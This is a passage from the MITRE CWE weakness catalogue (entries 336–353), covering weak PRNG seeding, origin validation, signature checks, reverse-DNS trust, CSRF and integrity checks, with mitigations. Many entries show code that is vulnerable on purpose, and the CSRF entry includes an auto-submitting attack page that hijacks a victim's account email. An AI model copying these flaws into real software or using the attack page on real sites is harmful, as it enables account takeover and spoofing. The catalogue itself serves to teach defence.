CVE-2004-0230	Complex predictability / randomness (reduced space).

Potential Mitigations

Architecture and Design

Requirements

Libraries or Frameworks

Use products or modules that conform to FIPS 140-2 [R.334.1] to avoid obvious entropy problems. Consult FIPS 140-2 Annex C ("Approved Random Number Generators").

CWE-336: Same Seed in Pseudo-Random Number Generator (PRNG)

Weakness ID: 336 (Weakness Base)

Status: Draft

Description**Summary**

A Pseudo-Random Number Generator (PRNG) uses the same seed each time the product is initialized.

Extended Description

If an attacker can guess (or knows) the seed, then the attacker may be able to determine the random numbers that will be produced from the PRNG.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms**Languages**

- Language-Independent

Modes of Introduction

REALIZATION: This weakness is caused during implementation of an architectural security tactic.

Common Consequences**Other****Access Control****Other****Bypass protection mechanism****Demonstrative Examples**

The following code uses a statistical PRNG to generate account IDs.

Java Example:

Bad Code

```
private static final long SEED = 1234567890;
public int generateAccountID() {
    Random random = new Random(SEED);
    return random.nextInt();
}
```

Because the program uses the same seed value for every invocation of the PRNG, its values are predictable, making the system vulnerable to attack.

Potential Mitigations

Architecture and Design

Do not reuse PRNG seeds. Consider a PRNG that periodically re-seeds itself as needed from a high quality pseudo-random output, such as hardware devices.

Architecture and Design

Requirements

Libraries or Frameworks

Use products or modules that conform to FIPS 140-2 [R.336.1] to avoid obvious entropy problems. Consult FIPS 140-2 Annex C ("Approved Random Number Generators").

CWE-337: Predictable Seed in Pseudo-Random Number Generator (PRNG)

Weakness ID: 337 (Weakness Base)

Status: Draft

Description

Summary

A Pseudo-Random Number Generator (PRNG) is initialized from a predictable seed, such as the process ID or system time.

Extended Description

The use of predictable seeds significantly reduces the number of possible seeds that an attacker would need to test in order to predict which random numbers will be generated by the PRNG.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- Language-Independent

Modes of Introduction

REALIZATION: This weakness is caused during implementation of an architectural security tactic.

Common Consequences

Other

Varies by context

Demonstrative Examples

Both of these examples use a statistical PRNG seeded with the current value of the system clock to generate a random number:

Java Example:

Bad Code

```
Random random = new Random(System.currentTimeMillis());
int accountID = random.nextInt();
```

C Example:

Bad Code

```
srand(time());
int randNum = rand();
```

An attacker can easily predict the seed used by these PRNGs, and so also predict the stream of random numbers generated. Note these examples also exhibit CWE-338 (Use of Cryptographically Weak PRNG).

Potential Mitigations

Use non-predictable inputs for seed generation.

Architecture and Design

Requirements

Libraries or Frameworks

Use products or modules that conform to FIPS 140-2 [R.337.1] to avoid obvious entropy problems. Consult FIPS 140-2 Annex C ("Approved Random Number Generators").

Implementation

Use a PRNG that periodically re-seeds itself using input from high-quality sources, such as hardware devices with high entropy. However, do not re-seed too frequently, or else the entropy source might block.

CWE-338: Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG)

Weakness ID: 338 (*Weakness Base*)

Status: Draft

Description

Summary

The product uses a Pseudo-Random Number Generator (PRNG) in a security context, but the PRNG's algorithm is not cryptographically strong.

Extended Description

When a non-cryptographic PRNG is used in a cryptographic context, it can expose the cryptography to certain types of attacks.

Often a pseudo-random number generator (PRNG) is not designed for cryptography. Sometimes a mediocre source of randomness is sufficient or preferable for algorithms that use random numbers. Weak generators generally take less processing power and/or do not use the precious, finite, entropy sources on a system. While such PRNGs might have very useful features, these same features could be used to break the cryptography.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms**Languages**

- Language-Independent

Modes of Introduction

REALIZATION: This weakness is caused during implementation of an architectural security tactic.

Common Consequences**Access Control****Bypass protection mechanism**

If a PRNG is used for authentication and authorization, such as a session ID or a seed for generating a cryptographic key, then an attacker may be able to easily guess the ID or cryptographic key and gain access to restricted functionality.

Likelihood of Exploit

Medium

Demonstrative Examples

Both of these examples use a statistical PRNG to generate a random number:

Java Example:

Bad Code

```
Random random = new Random(System.currentTimeMillis());
int accountID = random.nextInt();
```

C Example:

Bad Code

```
srand(time());
int randNum = rand();
```

The random number functions used in these examples, `rand()` and `Random.nextInt()`, are not considered cryptographically strong. An attacker may be able to predict the random numbers generated by these functions. Note that these example also exhibit CWE-337 (Predictable Seed in PRNG).

Observed Examples

Reference	Description
CVE-2008-0166	SSL library uses a weak random number generator that only generates 65,536 unique keys.
CVE-2009-2367	Web application generates predictable session IDs, allowing session hijacking.
CVE-2009-3238	Random number generator can repeatedly generate the same value.
CVE-2009-3278	Crypto product uses <code>rand()</code> library function to generate a recovery key, making it easier to conduct brute force attacks.

Potential Mitigations**Implementation**

Use functions or hardware which use a hardware-based random number generation for all crypto. This is the recommended solution. Use `CyptGenRandom` on Windows, or `hw_rand()` on Linux.

CWE-339: Small Seed Space in PRNG

Weakness ID: 339 (Weakness Base)

Status: Draft

Description

Summary

A PRNG uses a relatively small space of seeds.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- Language-Independent

Modes of Introduction

REALIZATION: This weakness is caused during implementation of an architectural security tactic.

Common Consequences

Other

Varies by context

Potential Mitigations

Architecture and Design

Use well vetted pseudo-random number generating algorithms with adequate length seeds. Pseudo-random number generators can produce predictable numbers if the generator is known and the seed can be guessed. A 256-bit seed is a good starting point for producing a "random enough" number.

Architecture and Design

Requirements

Libraries or Frameworks

Use products or modules that conform to FIPS 140-2 [R.339.1] to avoid obvious entropy problems. Consult FIPS 140-2 Annex C ("Approved Random Number Generators").

CWE-341: Predictable from Observable State

Weakness ID: 341 (Weakness Base)

Status: Draft

Description

Summary

A number or object is predictable based on observations that the attacker can make about the state of the system or network, such as time, process ID, etc.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- Language-Independent

Modes of Introduction

REALIZATION: This weakness is caused during implementation of an architectural security tactic.

Common Consequences

Other**Varies by context**

This weakness could be exploited by an attacker in a number of ways depending on the context. If a predictable number is used to generate IDs or keys that are used within protection mechanisms, then an attacker could gain unauthorized access to the system. If predictable filenames are used for storing sensitive information, then an attacker might gain access to the system and may be able to gain access to the information in the file.

Demonstrative Examples

This code generates a unique random identifier for a user's session.

PHP Example:*Bad Code*

```
function generateSessionID($userID){
    srand($userID);
    return rand();
}
```

Because the seed for the PRNG is always the user's ID, the session ID will always be the same. An attacker could thus predict any user's session ID and potentially hijack the session.

This example also exhibits a Small Seed Space (CWE-339).

Observed Examples

Reference	Description
CVE-2000-0335	DNS resolver library uses predictable IDs, which allows a local attacker to spoof DNS query results.
CVE-2001-1141	PRNG allows attackers to use the output of small PRNG requests to determine the internal state information, which could be used by attackers to predict future pseudo-random numbers.
CVE-2002-0389	Mail server stores private mail messages with predictable filenames in a world-executable directory, which allows local users to read private mailing list archives.
CVE-2005-1636	MFV. predictable filename and insecure permissions allows file modification to execute SQL queries.

Potential Mitigations**Implementation**

Increase the entropy used to seed a PRNG.

Architecture and Design**Requirements****Libraries or Frameworks**

Use products or modules that conform to FIPS 140-2 [R.341.1] to avoid obvious entropy problems. Consult FIPS 140-2 Annex C ("Approved Random Number Generators").

Implementation

Use a PRNG that periodically re-seeds itself using input from high-quality sources, such as hardware devices with high entropy. However, do not re-seed too frequently, or else the entropy source might block.

CWE-342: Predictable Exact Value from Previous Values

Weakness ID: 342 (Weakness Base)

Status: Draft

Description

Summary

An exact value or random number can be precisely predicted by observing previous values.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- Language-Independent

Common Consequences

Other

Varies by context

Observed Examples

Reference	Description
CVE-1999-0074	Listening TCP ports are sequentially allocated, allowing spoofing attacks.
CVE-1999-0077	Predictable TCP sequence numbers allow spoofing.
CVE-2000-0335	DNS resolver uses predictable IDs, allowing a local user to spoof DNS query results.
CVE-2002-1463	Firewall generates easily predictable initial sequence numbers (ISN), which allows remote attackers to spoof connections.

Potential Mitigations

Increase the entropy used to seed a PRNG.

Architecture and Design

Requirements

Libraries or Frameworks

Use products or modules that conform to FIPS 140-2 [R.342.1] to avoid obvious entropy problems. Consult FIPS 140-2 Annex C ("Approved Random Number Generators").

Implementation

Use a PRNG that periodically re-seeds itself using input from high-quality sources, such as hardware devices with high entropy. However, do not re-seed too frequently, or else the entropy source might block.

CWE-343: Predictable Value Range from Previous Values

Weakness ID: 343 (Weakness Base)

Status: Draft

Description

Summary

The software's random number generator produces a series of values which, when observed, can be used to infer a relatively small range of possibilities for the next value that could be generated.

Extended Description

The output of a random number generator should not be predictable based on observations of previous values. In some cases, an attacker cannot predict the exact value that will be produced next, but can narrow down the possibilities significantly. This reduces the amount of effort to perform a brute force attack. For example, suppose the product generates random numbers between 1 and 100, but it always produces a larger value until it reaches 100. If the generator produces an 80, then the attacker knows that the next value will be somewhere between 81 and 100. Instead of 100 possibilities, the attacker only needs to consider 20.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- Language-Independent

Common Consequences

Other

Varies by context

Potential Mitigations

Increase the entropy used to seed a PRNG.

Architecture and Design

Requirements

Libraries or Frameworks

Use products or modules that conform to FIPS 140-2 [R.343.1] to avoid obvious entropy problems. Consult FIPS 140-2 Annex C ("Approved Random Number Generators").

Implementation

Use a PRNG that periodically re-seeds itself using input from high-quality sources, such as hardware devices with high entropy. However, do not re-seed too frequently, or else the entropy source might block.

Maintenance Notes

The specific ways in which the origin is not properly identified should be laid out as separate weaknesses. In some sense, this is more like a category.

CWE-346: Origin Validation Error

Weakness ID: 346 (Weakness Base)

Status: Draft

Description

Summary

The software does not properly verify that the source of data or communication is valid.

Terminology Notes

The "Origin Validation Error" term was used by Taimur Aslam in his August 1995 thesis. Although not formally defined, an issue is considered to be an origin validation error if either (1) "an object [accepts] input from an unauthorized subject," or (2) "the system [fails] to properly or completely authenticate a subject." A later section says that an origin validation error can occur when the system (1) "does not properly authenticate a user or process" or (2) "does not properly authenticate the shared data or libraries." The only example provided in the thesis (covered by OSVDB:57615) involves a setuid program running command-line arguments without dropping privileges. So, this definition (and its examples in the thesis) effectively cover other weaknesses such as CWE-287 (Improper Authentication), CWE-285 (Improper Authorization), and CWE-250 (Execution with Unnecessary Privileges). There appears to be little usage of this term today, except in the SecurityFocus vulnerability database, where the term is used for a variety of issues, including web-browser problems that allow violation of the Same Origin Policy and improper validation of the source of an incoming message.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- Language-Independent

Modes of Introduction

REALIZATION: This weakness is caused during implementation of an architectural security tactic.

Common Consequences

Access Control

Other

Gain privileges / assume identity

Varies by context

An attacker can access any functionality that is inadvertently accessible to the source.

Demonstrative Examples

Example 1:

This Android application will remove a user account when it receives an intent to do so:

Java Example:

Bad Code

```
IntentFilter filter = new IntentFilter("com.example.RemoveUser");
MyReceiver receiver = new MyReceiver();
registerReceiver(receiver, filter);
public class DeleteReceiver extends BroadcastReceiver {
    @Override
    public void onReceive(Context context, Intent intent) {
        int userID = intent.getIntExtra("userID");
        destroyUserData(userID);
    }
}
```

This application does not check the origin of the intent, thus allowing any malicious application to remove a user. Always check the origin of an intent, or create a whitelist of trusted applications using the manifest.xml file.

Example 2:

These Android and iOS applications intercept URL loading within a WebView and perform special actions if a particular URL scheme is used, thus allowing the Javascript within the WebView to communicate with the application:

Java Example:

Bad Code

```
// Android
@Override
public boolean shouldOverrideUrlLoading(WebView view, String url){
    if (url.substring(0,14).equalsIgnoreCase("examplescheme:")){
        if(url.substring(14,25).equalsIgnoreCase("getUserInfo")){
            writeDataToView(view, UserData);
            return false;
        }
    }
    else{
        return true;
    }
}
```

Objective-C Example:

Bad Code

```
// iOS
-(BOOL) webView:(UIWebView *)exWebView shouldStartLoadWithRequest:(NSURLRequest *)exRequest
navigationType:(UIWebViewNavigationType)exNavigationType
{
    NSURL *URL = [exRequest URL];
    if ([[URL scheme] isEqualToString:@"exampleScheme"])
    {
        NSString *functionString = [URL resourceSpecifier];
        if ([functionString hasPrefix:@"specialFunction"])
        {
            // Make data available back in webview.
            UIWebView *webView = [self writeDataToView:[URL query]];
        }
        return NO;
    }
    return YES;
}
```

A call into native code can then be initiated by passing parameters within the URL:

Javascript Example:

Attack

```
window.location = examplescheme://method?parameter=value
```

Because the application does not check the source, a malicious website loaded within this WebView has the same access to the API as a trusted site.

Observed Examples

Reference	Description
CVE-1999-1549	product does not sufficiently distinguish external HTML from internal, potentially dangerous HTML, allowing bypass using special strings in the page title. Overlaps special elements.
CVE-2000-1218	DNS server can accept DNS updates from hosts that it did not query, leading to cache poisoning
CVE-2001-1452	DNS server caches glue records received from non-delegated name servers
CVE-2003-0174	LDAP service does not verify if a particular attribute was set by the LDAP server
CVE-2003-0981	product records the reverse DNS name of a visitor in the logs, allowing spoofing and resultant XSS.
CVE-2005-0877	DNS server can accept DNS updates from hosts that it did not query, leading to cache poisoning
CVE-2005-2188	user ID obtained from untrusted source (URL)

Maintenance Notes

This entry has some significant overlap with other CWE entries and may need some clarification. See terminology notes.

CWE-347: Improper Verification of Cryptographic Signature

Weakness ID: 347 (Weakness Base) Status: Draft

Description
Summary
 The software does not verify, or incorrectly verifies, the cryptographic signature for data.

- Time of Introduction**
- Architecture and Design
 - Implementation

- Applicable Platforms**
Languages
- Language-Independent

Modes of Introduction
 REALIZATION: This weakness is caused during implementation of an architectural security tactic.

- Common Consequences**
- Access Control**
 - Integrity**
 - Confidentiality**
 - Gain privileges / assume identity**
 - Modify application data**
 - Execute unauthorized code or commands**

An attacker could gain access to sensitive data and possibly execute unauthorized code.

Demonstrative Examples
 In the following code, a JarFile object is created from a downloaded file.

Java Example: *Bad Code*

```
File f = new File(downloadedFilePath);
JarFile jf = new JarFile(f);
```

The JAR file that was potentially downloaded from an untrusted source is created without verifying the signature (if present). An alternate constructor that accepts a boolean verify parameter should be used instead.

Observed Examples

Reference	Description
CVE-2002-1706	Accepts a configuration file without a Message Integrity Check (MIC) signature.
CVE-2002-1796	Does not properly verify signatures for "trusted" entities.
CVE-2005-2181	Insufficient verification allows spoofing.
CVE-2005-2182	Insufficient verification allows spoofing.

463	Padding Oracle Crypto Attack	

CWE-348: Use of Less Trusted Source

Weakness ID: 348 (Weakness Base) Status: Draft

Description

Summary

The software has two different sources of the same data or information, but it uses the source that has less support for verification, is less trusted, or is less resistant to attack.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- Language-Independent

Common Consequences

Access Control

Bypass protection mechanism

Gain privileges / assume identity

An attacker could utilize the untrusted data source to bypass protection mechanisms and gain access to sensitive data.

Demonstrative Examples

This code attempts to limit the access of a page to certain IP Addresses. It checks the 'HTTP_X_FORWARDED_FOR' header in case an authorized user is sending the request through a proxy.

PHP Example:

Bad Code

```
$requestingIP = '0.0.0.0';
if (array_key_exists('HTTP_X_FORWARDED_FOR', $_SERVER)) {
    $requestingIP = $_SERVER['HTTP_X_FORWARDED_FOR'];
} else {
    $requestingIP = $_SERVER['REMOTE_ADDR'];
}
if(in_array($requestingIP,$ipWhitelist)){
    generatePage();
    return;
}
else{
    echo "You are not authorized to view this page";
    return;
}
```

The 'HTTP_X_FORWARDED_FOR' header can be user controlled and so should never be trusted. An attacker can falsify the header to gain access to the page.

This fixed code only trusts the 'REMOTE_ADDR' header and so avoids the issue:

PHP Example:

Good Code

```
$requestingIP = '0.0.0.0';
if (array_key_exists('HTTP_X_FORWARDED_FOR', $_SERVER)) {
    echo "This application cannot be accessed through a proxy.";
    return;
}
else{
    $requestingIP = $_SERVER['REMOTE_ADDR'];
}
...

```

Be aware that 'REMOTE_ADDR' can still be spoofed. This may seem useless because the server will send the response to the fake address and not the attacker, but this may still be enough to conduct an attack. For example, if the generatePage() function in this code is resource intensive,

an attacker could flood the server with fake requests using an authorized IP and consume significant resources. This could be a serious DoS attack even though the attacker would never see the page's sensitive content.

Observed Examples

Reference	Description
BID:15326	Similar to CVE-2004-1950
CVE-2001-0860	Product uses IP address provided by a client, instead of obtaining it from the packet headers, allowing easier spoofing.
CVE-2001-0908	Product logs IP address specified by the client instead of obtaining it from the packet headers, allowing information hiding.
CVE-2004-1950	Web product uses the IP address in the X-Forwarded-For HTTP header instead of a server variable that uses the connecting IP address, allowing filter bypass.
CVE-2006-1126	PHP application uses IP address from X-Forwarded-For HTTP header, instead of REMOTE_ADDR.

CWE-349: Acceptance of Extraneous Untrusted Data With Trusted Data

Weakness ID: 349 (Weakness Base)

Status: Draft

Description

Summary

The software, when processing trusted data, accepts any untrusted data that is also included with the trusted data, treating the untrusted data as if it were trusted.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- Language-Independent

Modes of Introduction

OMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.

Common Consequences

Access Control**Integrity****Bypass protection mechanism****Modify application data**

An attacker could package untrusted data with trusted data to bypass protection mechanisms to gain access to and possibly modify sensitive data.

Observed Examples

Reference	Description
CVE-2002-0018	Does not verify that trusted entity is authoritative for all entities in its response.

142	DNS Cache Poisoning	

CWE-350: Reliance on Reverse DNS Resolution for a Security-Critical Action

Weakness ID: 350 (*Weakness Variant*)

Status: Draft

Description**Summary**

The software performs reverse DNS resolution on an IP address to obtain the hostname and make a security decision, but it does not properly ensure that the IP address is truly associated with the hostname.

Extended Description

Since DNS names can be easily spoofed or misreported, and it may be difficult for the software to detect if a trusted DNS server has been compromised, DNS names do not constitute a valid authentication mechanism.

When the software performs a reverse DNS resolution for an IP address, if an attacker controls the server for that IP address, then the attacker can cause the server to return an arbitrary hostname. As a result, the attacker may be able to bypass authentication, cause the wrong hostname to be recorded in log files to hide activities, or perform other attacks.

Attackers can spoof DNS names by either (1) compromising a DNS server and modifying its records (sometimes called DNS cache poisoning), or (2) having legitimate control over a DNS server associated with their IP address.

Time of Introduction

- Architecture and Design

Applicable Platforms**Languages**

- Language-Independent

Common Consequences

Access Control

Gain privileges / assume identity

Bypass protection mechanism

Malicious users can fake authentication information by providing false DNS information.

Demonstrative Examples

Example 1:

The following code samples use a DNS lookup in order to decide whether or not an inbound request is from a trusted host.

C Example:

Bad Code

```
struct hostent *hp; struct in_addr myaddr;
char* tHost = "trustme.example.com";
myaddr.s_addr = inet_addr(ip_addr_string);
hp = gethostbyaddr((char *) &myaddr, sizeof(struct in_addr), AF_INET);
if (hp && !strcmp(hp->h_name, tHost, sizeof(tHost))) {
    trusted = true;
} else {
    trusted = false;
}
```

Java Example:

Bad Code

```
String ip = request.getRemoteAddr();
InetAddress addr = InetAddress.getByName(ip);
if (addr.getCanonicalHostName().endsWith("trustme.com")) {
    trusted = true;
}
```

C# Example:

Bad Code

```
IPAddress hostIPAddress = IPAddress.Parse(remotepAddress);
IPEndPoint hostInfo = Dns.GetHostByAddress(hostIPAddress);
if (hostInfo.HostName.EndsWith("trustme.com")) {
    trusted = true;
}
```

If an attacker can poison the DNS cache, they can gain trusted status.

Example 2:

In these examples, a connection is established if a request is made by a trusted host.

C Example:

Bad Code

```
sd = socket(AF_INET, SOCK_DGRAM, 0);
serv.sin_family = AF_INET;
serv.sin_addr.s_addr = htonl(INADDR_ANY);
servr.sin_port = htons(1008);
bind(sd, (struct sockaddr *) &serv, sizeof(serv));
while (1) {
    memset(msg, 0x0, MAX_MSG);
    cliLen = sizeof(cli);
    h=gethostbyname(inet_ntoa(cliAddr.sin_addr));
    if (h->h_name==...) n = recvfrom(sd, msg, MAX_MSG, 0, (struct sockaddr *) &cli, &cliLen);
}
```

Java Example:

Bad Code

```
while(true) {
    DatagramPacket rp=new DatagramPacket(rData,rData.length);
    outSock.receive(rp);
    String in = new String(p.getData(),0, rp.getLength());
    InetAddress IPAddress = rp.getAddress();
    int port = rp.getPort();
    if ((rp.getHostName()==...) & (in==...)) {
        out = secret.getBytes();
        DatagramPacket sp=new DatagramPacket(out,out.length, IPAddress, port);
        outSock.send(sp);
    }
}
```

```
}
}
```

These examples check if a request is from a trusted host before responding to a request, but the code only verifies the hostname as stored in the request packet. An attacker can spoof the hostname, thus impersonating a trusted client.

Observed Examples

Reference	Description
CVE-2000-1221	Authentication bypass using spoofed reverse-resolved DNS hostnames.
CVE-2001-1155	Filter does not properly check the result of a reverse DNS lookup, which could allow remote attackers to bypass intended access restrictions via DNS spoofing.
CVE-2001-1488	Does not do double-reverse lookup to prevent DNS spoofing.
CVE-2001-1500	Does not verify reverse-resolved hostnames in DNS.
CVE-2002-0804	Authentication bypass using spoofed reverse-resolved DNS hostnames.
CVE-2003-0981	Product records the reverse DNS name of a visitor in the logs, allowing spoofing and resultant XSS.
CVE-2004-0892	Reverse DNS lookup used to spoof trusted content in intermediary.

Potential Mitigations

Architecture and Design

Use other means of identity verification that cannot be simply spoofed. Possibilities include a username/password or certificate.

Implementation

Perform proper forward and reverse DNS lookups to detect DNS spoofing.

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Insufficient Type Distinction

CWE-352: Cross-Site Request Forgery (CSRF)

Compound Element ID: 352 (Compound Element Variant: Composite) Status: Draft

Description

Summary

The web application does not, or can not, sufficiently verify whether a well-formed, valid, consistent request was intentionally provided by the user who submitted the request.

Extended Description

When a web server is designed to receive a request from a client without any mechanism for verifying that it was intentionally sent, then it might be possible for an attacker to trick a client into making an unintentional request to the web server which will be treated as an authentic request. This can be done via a URL, image load, XMLHttpRequest, etc. and can result in exposure of data or unintended code execution.

Alternate Terms

Session Riding

Cross Site Reference Forgery

XSRF

Time of Introduction

- Architecture and Design

Applicable Platforms

Languages

- Language-Independent

Technology Classes

- Web Server

Modes of Introduction

REALIZATION: This weakness is caused during implementation of an architectural security tactic.

Common Consequences

Confidentiality

Integrity

Availability

Non-Repudiation

Access Control

Gain privileges / assume identity

Bypass protection mechanism

Read application data

Modify application data

DoS: crash / exit / restart

The consequences will vary depending on the nature of the functionality that is vulnerable to CSRF. An attacker could effectively perform any operations as the victim. If the victim is an administrator or privileged user, the consequences may include obtaining complete control over the web application - deleting or stealing data, uninstalling the product, or using it to launch other attacks against all of the product's users. Because the attacker has the identity of the victim, the scope of CSRF is limited only by the victim's privileges.

Likelihood of Exploit

Medium

Detection Methods

Manual Analysis

High

This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session.

Specifically, manual analysis can be useful for finding this weakness, and for minimizing false positives assuming an understanding of business logic. However, it might not achieve desired code coverage within limited time constraints. For black-box analysis, if credentials are not known for privileged accounts, then the most security-critical portions of the application may not receive sufficient attention.

Consider using OWASP CSRFTester to identify potential issues and aid in manual analysis.

These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

Automated Static Analysis

Limited

CSRF is currently difficult to detect reliably using automated techniques. This is because each application has its own implicit security policy that dictates which requests can be influenced by an outsider and automatically performed on behalf of a user, versus which requests require strong confidence that the user intends to make the request. For example, a keyword search of the public portion of a web site is typically expected to be encoded within a link that can be launched automatically when the user clicks on the link.

Automated Static Analysis - Binary / Bytecode**SOAR Partial**

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Bytecode Weakness Analysis - including disassembler + source code weakness analysis

Binary Weakness Analysis - including disassembler + source code weakness analysis

Manual Static Analysis - Binary / Bytecode**SOAR Partial**

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Dynamic Analysis with automated results interpretation**SOAR High**

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Web Application Scanner

Dynamic Analysis with manual results interpretation**SOAR High**

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Fuzz Tester

Framework-based Fuzzer

Manual Static Analysis - Source Code**SOAR Partial**

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Focused Manual Spotcheck - Focused manual analysis of source

Manual Source Code Review (not inspections)

Automated Static Analysis - Source Code**SOAR Partial**

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Source code Weakness Analyzer

Context-configured Source Code Weakness Analyzer

Architecture / Design Review**SOAR Partial**

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Formal Methods / Correct-By-Construction

Demonstrative Examples

This example PHP code attempts to secure the form submission process by validating that the user submitting the form has a valid session. A CSRF attack would not be prevented by this countermeasure because the attacker forges a request through the user's web browser in which a valid session already exists.

The following HTML is intended to allow a user to update a profile.

HTML Example:*Bad Code*

```
<form action="/url/profile.php" method="post">
<input type="text" name="firstname"/>
<input type="text" name="lastname"/>
<br/>
<input type="text" name="email"/>
```

```
<input type="submit" name="submit" value="Update"/>
</form>
```

profile.php contains the following code.

PHP Example:

Bad Code

```
// initiate the session in order to validate sessions
session_start();
//if the session is registered to a valid user then allow update
if (! session_is_registered("username")) {
    echo "invalid session detected!";
    // Redirect user to login page
    [...]
    exit;
}
// The user session is valid, so process the request
// and update the information
update_profile();
function update_profile {
    // read in the data from $POST and send an update
    // to the database
    SendUpdateToDatabase($_SESSION['username'], $_POST['email']);
    [...]
    echo "Your profile has been successfully updated.";
}
```

This code may look protected since it checks for a valid session. However, CSRF attacks can be staged from virtually any tag or HTML construct, including image tags, links, embed or object tags, or other attributes that load background images.

The attacker can then host code that will silently change the username and email address of any user that visits the page while remaining logged in to the target web application. The code might be an innocent-looking web page such as:

HTML Example:

Attack

```
<SCRIPT>
function SendAttack () {
    form.email = "attacker@example.com";
    // send to profile.php
    form.submit();
}
</SCRIPT>
<BODY onload="javascript:SendAttack();">
<form action="http://victim.example.com/profile.php" id="form" method="post">
<input type="hidden" name="firstname" value="Funny">
<input type="hidden" name="lastname" value="Joke">
<br/>
<input type="hidden" name="email">
</form>
```

Notice how the form contains hidden fields, so when it is loaded into the browser, the user will not notice it. Because SendAttack() is defined in the body's onload attribute, it will be automatically called when the victim loads the web page.

Assuming that the user is already logged in to victim.example.com, profile.php will see that a valid user session has been established, then update the email address to the attacker's own address. At this stage, the user's identity has been compromised, and messages sent through this profile could be sent to the attacker's address.

Observed Examples

Reference	Description
CVE-2004-1703	Add user accounts via a URL in an img tag
CVE-2004-1842	Gain administrative privileges via a URL in an img tag
CVE-2004-1967	Arbitrary code execution by specifying the code in a crafted img tag or URL
CVE-2004-1995	Add user accounts via a URL in an img tag
CVE-2005-1674	Perform actions as administrator via a URL or an img tag
CVE-2005-1947	Delete a victim's information via a URL or an img tag
CVE-2005-2059	Change another user's settings via a URL or an img tag

Reference	Description
CVE-2009-3022	CMS allows modification of configuration via CSRF attack against the administrator
CVE-2009-3520	modify password for the administrator
CVE-2009-3759	web interface allows password changes or stopping a virtual machine via CSRF

Potential Mitigations

Architecture and Design

Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

For example, use anti-CSRF packages such as the OWASP CSRFGuard. [R.352.3]

Another example is the ESAPI Session Management control, which includes a component for CSRF. [R.352.9]

Implementation

Ensure that the application is free of cross-site scripting issues (CWE-79), because most CSRF defenses can be bypassed using attacker-controlled script.

Architecture and Design

Generate a unique nonce for each form, place the nonce into the form, and verify the nonce upon receipt of the form. Be sure that the nonce is not predictable (CWE-330). [R.352.5]

Note that this can be bypassed using XSS (CWE-79).

Architecture and Design

Identify especially dangerous operations. When the user performs a dangerous operation, send a separate confirmation request to ensure that the user intended to perform that operation.

Note that this can be bypassed using XSS (CWE-79).

Architecture and Design

Use the "double-submitted cookie" method as described by Felten and Zeller:

When a user visits a site, the site should generate a pseudorandom value and set it as a cookie on the user's machine. The site should require every form submission to include this value as a form value and also as a cookie value. When a POST request is sent to the site, the request should only be considered valid if the form value and the cookie value are the same.

Because of the same-origin policy, an attacker cannot read or modify the value stored in the cookie. To successfully submit a form on behalf of the user, the attacker would have to correctly guess the pseudorandom value. If the pseudorandom value is cryptographically strong, this will be prohibitively difficult.

This technique requires Javascript, so it may not work for browsers that have Javascript disabled. [R.352.4]

Note that this can probably be bypassed using XSS (CWE-79), or when using web technologies that enable the attacker to read raw headers from HTTP requests.

Architecture and Design

Do not use the GET method for any request that triggers a state change.

Implementation

Check the HTTP Referer header to see if the request originated from an expected page. This could break legitimate functionality, because users or proxies may have disabled sending the Referer for privacy reasons.

Note that this can be bypassed using XSS (CWE-79). An attacker could use XSS to generate a spoofed Referer, or to generate a malicious request from a page whose Referer would be allowed.

MemberOf	▼	884	<i>CWE Cross-section</i>	884	1306

Relationship Notes

This can be resultant from XSS, although XSS is not necessarily required.

Research Gaps

This issue was under-reported in CVE until around 2008, when it began to gain prominence. It is likely to be present in most web applications.

Theoretical Notes

The CSRF topology is multi-channel:

1. Attacker (as outsider) to intermediary (as user). The interaction point is either an external or internal channel.
2. Intermediary (as user) to server (as victim). The activation point is an internal channel.

CWE-353: Missing Support for Integrity Check

Weakness ID: 353 (*Weakness Base*)

Status: Draft

Description

Summary

The software uses a transmission protocol that does not include a mechanism for verifying the integrity of the data during transmission, such as a checksum.

Extended Description

If integrity check values or "checksums" are omitted from a protocol, there is no way of determining if data has been corrupted in transmission. The lack of checksum functionality in a protocol removes the first application-level check of data that can be used. The end-to-end philosophy of checks states that integrity checks should be performed at the lowest level that they can be completely implemented. Excluding further sanity checks and input validation performed by applications, the protocol's checksum is the most important level of checksum, since it can be performed more completely than at any previous level and takes into account entire messages, as opposed to single packets.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- Language-Independent

Modes of Introduction

OMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.

Common Consequences

Integrity

Other

Other

Data that is parsed and used may be corrupted.

Non-Repudiation

Other

Hide activities

Other

Without a checksum it is impossible to determine if any changes have been made to the data after it was sent.

Likelihood of Exploit

Medium

Demonstrative Examples

In this example, a request packet is received, and privileged information is sent to the requester:

Java Example:

Bad Code

```
while(true) {
    DatagramPacket rp = new DatagramPacket(rData,rData.length);
    outSock.receive(rp);
    InetAddress IPAddress = rp.getAddress();
    int port = rp.getPort();
    out = secret.getBytes();
}
```

```
DatagramPacket sp =new DatagramPacket(out, out.length, IPAddress, port);
